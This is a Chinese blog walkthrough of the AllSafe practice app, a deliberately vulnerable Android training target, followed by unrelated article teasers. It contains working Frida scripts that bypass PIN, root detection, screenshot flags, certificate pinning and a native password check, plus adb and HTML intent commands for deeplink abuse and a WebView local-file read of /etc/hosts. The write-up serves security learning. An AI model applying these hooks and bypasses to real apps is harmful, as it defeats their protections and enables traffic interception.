FridaHook(三)——AllSafe App wp

By ruanruan,2022/04/21

文章目录

      • 1、不安全的日志记录
      • 2、硬编码
      • 3、pin绕过
        • (1)反编译查看方法判断逻辑
        • (2)hook方法
          • A、Hook areEqual(Object,Object)
          • B、Hook checkPin(a)
        • (3)页面效果
        • (4)踩坑
      • 4、root检测绕过
        • (1)反编译查看
        • (2)hook方法
        • (3)绕过效果
      • 5、Secureflag绕过
        • (1)查看相关代码
        • (2)Hook脚本
        • (3)hook效果
      • 6、Deeplink利用
        • (1)查看漏洞代码
        • (2)漏洞利用
          • A、访问html文件
          • B、使用adb构造intent
      • 7、Webview利用
        • (1)查看漏洞代码
        • (2)漏洞利用
          • A、任务一:弹窗
          • B、任务二:访问一个本地文件,如/etc/hosts
      • 8、证书绕过
        • (1)hook脚本
        • (2)hook结果
        • (3)踩坑
      • 9、脆弱的加密
        • (1)反编译查看
        • (2)hook加密函数
          • A、AES
          • B、MD5
          • C、Random
      • 10、本地动态链接库
        • (1)反编译查看
        • (2)so文件查看检测函数代码
        • (3)hook方法
        • (4)hook结果
        • (5)踩坑

1、不安全的日志记录

任务:在日志中找到key

命令查看日志中是否包含输入的key

adb logcat 

在这里插入图片描述

2、硬编码

任务:查找硬编码user:password

查找到superadmin:supersecurepassword

在这里插入图片描述

3、pin绕过

任务:绕过pin检测

其实可以对NDg2Mw==,直接解码得4863

(1)反编译查看方法判断逻辑

在这里插入图片描述

查找areEqual方法,如下

在这里插入图片描述

(2)hook方法
A、Hook areEqual(Object,Object)

先是去hook了kotlin.jvm.internal.Intrinsics类的重载方法,通过传的first参数数据类型为String可知,调用的是

在这里插入图片描述

搜索Equal函数,是返回true or false

那么修改返回为true就行

js:

function hookChongZai(){var utils = Java.use("kotlin.jvm.internal.Intrinsics");utils.areEqual.overload('java.lang.Object', 'java.lang.Object').implementation = function(a,b){console.log(a,b);a = "2022";b = "2022";console.log(a,b);var ret = true;return ret;}
}function main(){Java.perform(function(){hookChongZai();})
}setImmediate(main);

输出:

在这里插入图片描述

页面显示

B、Hook checkPin(a)

在这里插入图片描述
修改返回值,只要return true就行

js:

function hookpin(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.PinBypass");console.log("test\n");utils.checkPin.implementation = function(a){console.log(a);a = "2022";console.log(a);var ret = true;console.log(a,ret);return ret;}
}function main(){Java.perform(function(){hookpin();})
}setImmediate(main);

在这里插入图片描述

(3)页面效果

输入任意四位数,显示输入正确

在这里插入图片描述

(4)踩坑
  • overload(‘java.lang.Object’, ‘java.lang.Object’)

    小结:

    		.overload('double', 'java.lang.Double').overload('float', 'java.lang.Float').overload('java.lang.Double', 'double').overload('java.lang.Double', 'java.lang.Double').overload('java.lang.Float', 'float').overload('java.lang.Float', 'java.lang.Float').overload('java.lang.Object', 'java.lang.Object')
    
  • 将返回设置成字符串true了,即var ret = “true”;

    为变量赋值Boolean类型值的例子:

    var found = true;
    var lost = false;
    

    需要注意的是Boolean类型的字面值true和false是区分大小写的。

4、root检测绕过

任务:绕过root检测

(1)反编译查看

首先查看infosecadventures.allsafe.challenges.RootDetection,找了找没有啥判断逻辑

在这里插入图片描述

再查看infosecadventures.allsafe.challenges.RootDetection$onCreateView$1的检测逻辑

在这里插入图片描述

全局搜索isRooted方法,如图可知是布尔类型的返回结果。

在这里插入图片描述

(2)hook方法

js:

function hookroot(){console.log("script running .....")var utils = Java.use("com.scottyab.rootbeer.RootBeer");console.log("test\n");utils.isRooted.implementation = function(){var ret = false;console.log(ret);return ret;}
}function main(){Java.perform(function(){hookroot();})
}setImmediate(main);
(3)绕过效果

原始页面:
在这里插入图片描述

绕过页面:

在这里插入图片描述

5、Secureflag绕过

任务:绕过禁止截屏限制

(1)查看相关代码

找到禁止截屏函数

getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);

在这里插入图片描述

然后查看setFlags

在这里插入图片描述

(2)Hook脚本
function hookflag(){console.log("script running .....")var utils = Java.use("androidx.recyclerview.widget.RecyclerView");console.log("test\n");utils.setFlags.implementation = function(a,b){console.log(a,b);a = 11;b = 11console.log(a,b);var ret = this.setFlags(a,b);console.log(ret);}
}function main(){Java.perform(function(){hookflag();})
}setImmediate(main);
(3)hook效果

在这里插入图片描述

思路是改setFlags的值,我看最开始输出是0,12,就给改成11,效果是黑屏卡住了 ==

找到对的值就ok

6、Deeplink利用

任务:尝试触发deeplink

(1)查看漏洞代码

先找到对应的Activity

在这里插入图片描述

再跟进 找到getintent()函数,看如何赋值的

在这里插入图片描述

可知参数data即为intent的值,以及对data的判断条件为和key的值相等则完成任务。

(2)漏洞利用

找到key的值如下

在这里插入图片描述

此时就应该构造intent为2131820617

A、访问html文件

在这里插入图片描述

可以看到action为null

但是从AndroidManifest.xml可以看到intent-filter为当Action为android.intent.action.VIEW可调用

在这里插入图片描述

构造html文件如下

<html><head><h1>deeplinktest</h1><head>
<body>
<a href="intent:#Intent;package=infosecadventures.allsafe;component=infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask;action=android.intent.action.VIEW;data=2131820617;end">test</a>
</body>
</html>

但是 data的值好像传失败了==

B、使用adb构造intent
adb shell am start -n "infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask" 2131820617adb shell am start -n "infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask" -d "2131820617"

在这里插入图片描述

利用成功页面:

在这里插入图片描述

7、Webview利用

任务一:弹窗

任务二:访问一个本地文件,如/etc/host

(1)查看漏洞代码

在这里插入图片描述

漏洞条件:

  • setAllowFileAccess(true) (默认开启)

  • setJavaScriptEnabled(true)

  • WebView可以被外部调用,并能够加载外部可控的HTML文件

    都满足,对传进来的url参数没有任何处理过滤,直接使用loadurl()加载

(2)漏洞利用
A、任务一:弹窗

利用JavaScript伪协议进行弹窗

在这里插入图片描述

B、任务二:访问一个本地文件,如/etc/hosts

在这里插入图片描述

8、证书绕过

任务:拦截流量,绕过证书校验

(1)hook脚本

网上的通用脚本:

/* Android SSL Re-pinning frida script v0.2 030417-pier
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/setTimeout(function(){Java.perform(function (){console.log("");console.log("[.] Cert Pinning Bypass/Re-Pinning");
var CertificateFactory = Java.use("java.security.cert.CertificateFactory");var FileInputStream = Java.use("java.io.FileInputStream");var BufferedInputStream = Java.use("java.io.BufferedInputStream");var X509Certificate = Java.use("java.security.cert.X509Certificate");var KeyStore = Java.use("java.security.KeyStore");var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");var SSLContext = Java.use("javax.net.ssl.SSLContext");
// Load CAs from an InputStreamconsole.log("[+] Loading our CA...")var cf = CertificateFactory.getInstance("X.509");try {var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");}catch(err) {console.log("[o] " + err);}var bufferedInputStream = BufferedInputStream.$new(fileInputStream);var ca = cf.generateCertificate(bufferedInputStream);bufferedInputStream.close();
var certInfo = Java.cast(ca, X509Certificate);console.log("[o] Our CA Info: " + certInfo.getSubjectDN());
// Create a KeyStore containing our trusted CAsconsole.log("[+] Creating a KeyStore for our CA...");var keyStoreType = KeyStore.getDefaultType();var keyStore = KeyStore.getInstance(keyStoreType);keyStore.load(null, null);keyStore.setCertificateEntry("ca", ca);// Create a TrustManager that trusts the CAs in our KeyStoreconsole.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);tmf.init(keyStore);console.log("[+] Our TrustManager is ready...");
console.log("[+] Hijacking SSLContext methods now...")console.log("[-] Waiting for the app to invoke SSLContext.init()...")
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {console.log("[o] App invoked javax.net.ssl.SSLContext.init...");SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);console.log("[+] SSLContext initialized with our custom TrustManager!");}});
},0);
(2)hook结果

在这里插入图片描述

成功抓包:

在这里插入图片描述

(3)踩坑

看着是证书的问题,百度了一下需要系统信任burp证书

在这里插入图片描述

可是系统已经信任证书了

在这里插入图片描述

最后是替换了最新的证书解决的

9、脆弱的加密

任务:使用frida hook加密的方法

(1)反编译查看

在这里插入图片描述

(2)hook加密函数
A、AES

直接输出参数1,再篡改为参数2并对其加密

js:

function hookcrypto(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");console.log("test\n");utils.encrypt.implementation = function(a){console.log(a);a = "quan";console.log(a);var ret = this.encrypt(a);console.log(ret);return "The AES encrypto Result of " + a +":" + ret;}
}function main(){Java.perform(function(){hookcrypto();})
}setImmediate(main);

hook输出:

在这里插入图片描述

页面效果:

在这里插入图片描述

B、MD5

直接输出参数1,再篡改为参数2并对其加密

hook.js:

function hookcrypto(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");console.log("test\n");utils.md5Hash.implementation = function(a){console.log(a);a = "quan";console.log(a);var ret = this.md5Hash(a);console.log(ret);return "The MD5 Result of " + a +":" + ret;}
}function main(){Java.perform(function(){hookcrypto();})
}setImmediate(main);

hook输出:

在这里插入图片描述

页面效果:

在这里插入图片描述

C、Random

把随机数修改为固定值:111111

js:

function hookcrypto(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");console.log("test\n");utils.randomNumber.implementation = function(a){console.log(a);var ret = 111111;console.log(ret);return "The static data is : " + ret;}
}function main(){Java.perform(function(){hookcrypto();})
}setImmediate(main);

hook输出:

在这里插入图片描述

页面效果:

在这里插入图片描述

10、本地动态链接库

任务:使用frida hook密码检测的方法

(1)反编译查看
apktool.bat d 202204061604031.apk

在这里插入图片描述

可知检测密码的函数在native层,不能直接hook

(2)so文件查看检测函数代码

用Ghidra打开分析libnative_library.so文件,找到Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword函数

在这里插入图片描述

查看checkPass

在这里插入图片描述

hook Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword函数即可

void Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword(_JNIEnv *param_1,undefined8 param_2,_jstring *param_3){checkPass(param_1,param_3);return;
}

由代码可知该函数没有返回,但是要让if (NativeLibrary.access$checkPassword(nativeLibrary, editText2.getText().toString()))成立,那么条件即为true

(3)hook方法

js:

Java.perform(function(){ var nativePointer = Module.findExportByName("libnative_library.so", "Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword"); send("native: " + nativePointer); Interceptor.attach(nativePointer, { onEnter: function(args){ send(args[0].toInt32()); send(args[1].toInt32()); send(args[2].toInt32()); //send(args[3].toInt32()); //send(args[4].toInt32()); }, onLeave: function(retval){ send("original check result: " + retval.toInt32()); retval.replace(1);send("final check result: " + retval.toInt32());} });
});
(4)hook结果

在这里插入图片描述

页面:

在这里插入图片描述

(5)踩坑

最开始设的retval为true,当成布尔型了

onLeave: function(retval){ send("original check result: " + retval.toInt32()); var ret = true;retval.replace(ret);send("final check result: " + retval.toInt32());

然后报错

在这里插入图片描述

定位到retval.replace(ret);代码

想了想if(a),a只要不是null就行,令它为1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/617175.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

芯课堂 | 一种带WIFI的智能多电机控制系统

现有技术中&#xff0c;每台智能家电基本均需配置一台电机及一个WiFi模组&#xff0c;每台智能家电的电机均通过对应的WiFi模组连接家庭无线路由器进行组网&#xff0c;从而实现网络连接。 但是&#xff0c;这种方式存在技术瓶颈。例如&#xff0c;当一个家庭中智能家电的数量…

80V 72V 60V 48V 降12V 5V 3.3V 功耗低降压恒压芯片H6603

输入电压80V、72V、60V、48V&#xff1a;这些是电源系统中的不同电压水平&#xff0c;通常用于驱动各种设备。例如&#xff0c;电动汽车、电动自行车或工业设备中的电池系统可能以这些电压级别工作。 降12V&#xff1a;这可能是指一种电源模块&#xff0c;其功能是将输入电压&…

Linux 文件的压缩和解压

zip压缩&#xff1a;指定目录的文件压缩到指定目录下。 可采用 zip 压缩命令&#xff1a; 例如&#xff1a;要将 /path/to/source/directory/* 目录下的所有文件压缩到 /path/to/destination 目录下的 archive.zip 文件中 zip -j /path/to/destination/archive.zip /path/to/s…

MYSQL学习——聚合函数

目录 1. 聚合函数介绍 1) AVG和SUM函数 2) MIN和MAX函数 3) COUNT函数 2. GROUP BY 1) 基本使用 2) 使用WITH ROLLUP 3. HAVING 1) 基本使用 2) WHERE和HAVING的对比 4. SELECT的执行过程 1) 查询的结构 2) SQL的执行原理 1. 聚合函数介绍 什么是聚合函数 聚合函…

HDFS WebHDFS 读写文件分析及HTTP Chunk Transfer Coding相关问题探究

文章目录 前言需要回答的问题DataNode端基于Netty的WebHDFS Service的实现 基于重定向的文件写入流程写入一个大文件时WebHDFS和Hadoop Native的块分布差异 基于重定向的数据读取流程尝试读取一个小文件尝试读取一个大文件 读写过程中的Chunk Transfer-Encoding支持写文件使用C…

xcode安装及运行源码

抖音教学视频 目录 1、xcode 介绍 2、xcode 下载 3、xocde 运行ios源码 4、快捷键 1、xcode 介绍 Xcode 是运行在操作系统Mac OS X上的集成开发工具&#xff08;IDE&#xff09;&#xff0c;由Apple Inc开发。Xcode是开发 macOS 和 iOS 应用程序的最快捷的方式。Xcode 具有…

体感游戏开发体感互动游戏

体感健身游戏是一种利用特定技术来跟踪和响应玩家身体动作的互动式电子游戏。这种游戏类型的目的是通过有趣、动态的方式鼓励用户进行身体活动和健康锻炼。下面是有关体感健身游戏的一些重要信息&#xff1a; 体感游戏技术背景 体感技术&#xff1a;这些游戏通常使用运动传感…

C //练习 4-5 给计算器程序增加访问sin、exp与pow等库函数的操作。有关这些库函数的详细信息,参见附录B.4节中的头文件<math.h>。

C程序设计语言 &#xff08;第二版&#xff09; 练习 4-5 练习 4-5 给计算器程序增加访问sin、exp与pow等库函数的操作。有关这些库函数的详细信息&#xff0c;参见附录B.4节中的头文件<math.h>。 注意&#xff1a;代码在win32控制台运行&#xff0c;在不同的IDE环境下…

2024.1.11 关于 Jedis 库操作 Redis 基本演示

目录 引言 通用命令 SET & GET EXISTS & DEL KEYS EXPIRE & TTL TYPE String 类型命令 MGET & MSET GETRANGE & SETRANGE APPEND INCR & DECR List 类型命令 LPUSH & LRANG LPOP & LPOP BLPOP & BRPOP LLEN Set 类型命…

SwiftUI 为任意视图加上徽章(Badge)而想到的(下)

概览 在 SwiftUI 为任意视图加上徽章(Badge)而想到的(上) 这篇文章中,我们讨论了如何使用 Preference 技术打造 SwiftUI 中任意视图上徽章的实现。 虽然,我们完成了一系列挑战最后基本得偿所愿,不过在上篇的实现中仍有些许不尽如人意之处。 在本篇博文中,您将学到如下…

【web安全】弱口令,以及不同领域的弱口令爆破

弱口令的概念 简单的理解就是简单的&#xff0c;容易让别人猜出来的密码。 弱口令的分类 弱口令分了三类 简单常用的易记密码 这种密码是人均常用的密码&#xff0c;比如活到了这么大&#xff0c;我见过很多很多的wifl密码是88888888或者12345678这种的密码。很多情况下数…

Jmeter 性能压测 —— TPS与QPS

1、TPS和QPS的区别 TPS&#xff1a;意思是每秒事务数&#xff0c;具体事务的定义都是人为的&#xff0c;可以一个接口、多个接口、一个业务流程等等。 一个事务是指事务内第一个请求发送到接收到最后一个请求的响应的过程&#xff0c;以此来计算使用的时间和完成的事务个数。…

WPF 布局

了解 WPF中所有布局如下&#xff0c;我们一一尝试实现&#xff0c;本文档主要以图形化的形式展示每个布局的功能。 布局&#xff1a; Border、 BulletDecorator、 Canvas、 DockPanel、 Expander、 Grid、 GridView、 GridSplitter、 GroupBox、 Panel、 ResizeGrip、 Separat…

蓝屏代码0x000007E解决办法

概述 出现该问题&#xff1a; 1、硬件冲突造成的蓝屏 驱动冲突&#xff1a;与其他设备或应用程序的驱动冲突可能会引起系统崩溃。 2、内存虚拟不足造成的蓝屏 错误配置&#xff1a;不正确的配置或设置可能会导致蓝屏错误。 3、超频后也可能出现蓝屏 CUP超频或者显卡超频后出现蓝…

NAS使用的一些常见命令 ssh sftp 上传 下载 ALL in one

目录 登陆上传/下载内网穿透 登陆 ssh 登陆 ssh usernameserverIP -p portNumsftp 登陆 sftp -P portNum usernameserverIP上传/下载 如ls等&#xff0c;远程服务器操作 如lls等&#xff0c;本机操作&#xff0c;前缀为l 文件 put **** 将本机上文件上传到远程服务器上当…

分析一个项目(微信小程序篇)三

目录 接下来分析接口方面&#xff1a; home接口&#xff1a; categories接口&#xff1a; details接口&#xff1a; login接口&#xff1a; 分析一个项目讲究的是如何进行对项目的解析分解&#xff0c;进一步了解项目的整体结构&#xff0c;熟悉项目的结构&#xff0c;能够…

kylin集群反向代理(健康检查)

前面一篇文章提到了使用nginx来对kylin集群进行反向代理&#xff0c; kylin集群使用nginx反向代理-CSDN博客文章浏览阅读349次&#xff0c;点赞8次&#xff0c;收藏9次。由于是同一个集群的&#xff0c;元数据没有变化&#xff0c;所以&#xff0c;直接将原本的kylin使用scp的…

C++学习笔记——类继承

目录 一、一个简单的基类 1.1封装性 1.2继承性 1.3虚函数 1.4多态性 二、基类 2.1一个简单的C基类的示例 2.2 Animal是一个基类。 三、继承 3.1概念 3.2is-a关系 3.3多态公有继承 3.4静态联编和动态联编 3.5访问控制 3.6ABC理念 一、一个简单的基类 C中的基类是一…

02. 坦克大战项目-准备工作和绘制坦克

02. 坦克大战项目-准备工作和绘制坦克 01. 准备工作 1. 首先我们要创建四个类 1. Tank类 介绍&#xff1a;Tank 类主要用来表示坦克的基本属性和行为 public class Tank {private int x;//坦克的横坐标private int y;//坦克的纵坐标public int getX() {return x;}public v…

【ACL 2023】 The Art of Prompting Event Detection based on Type Specific Prompts

【ACL 2023】 The Art of Prompting: Event Detection based on Type Specific Prompts 论文&#xff1a;https://aclanthology.org/2023.acl-short.111/ 代码&#xff1a;https://github.com/VT-NLP/Event_APEX Abstract 我们比较了各种形式的提示来表示事件类型&#xff0…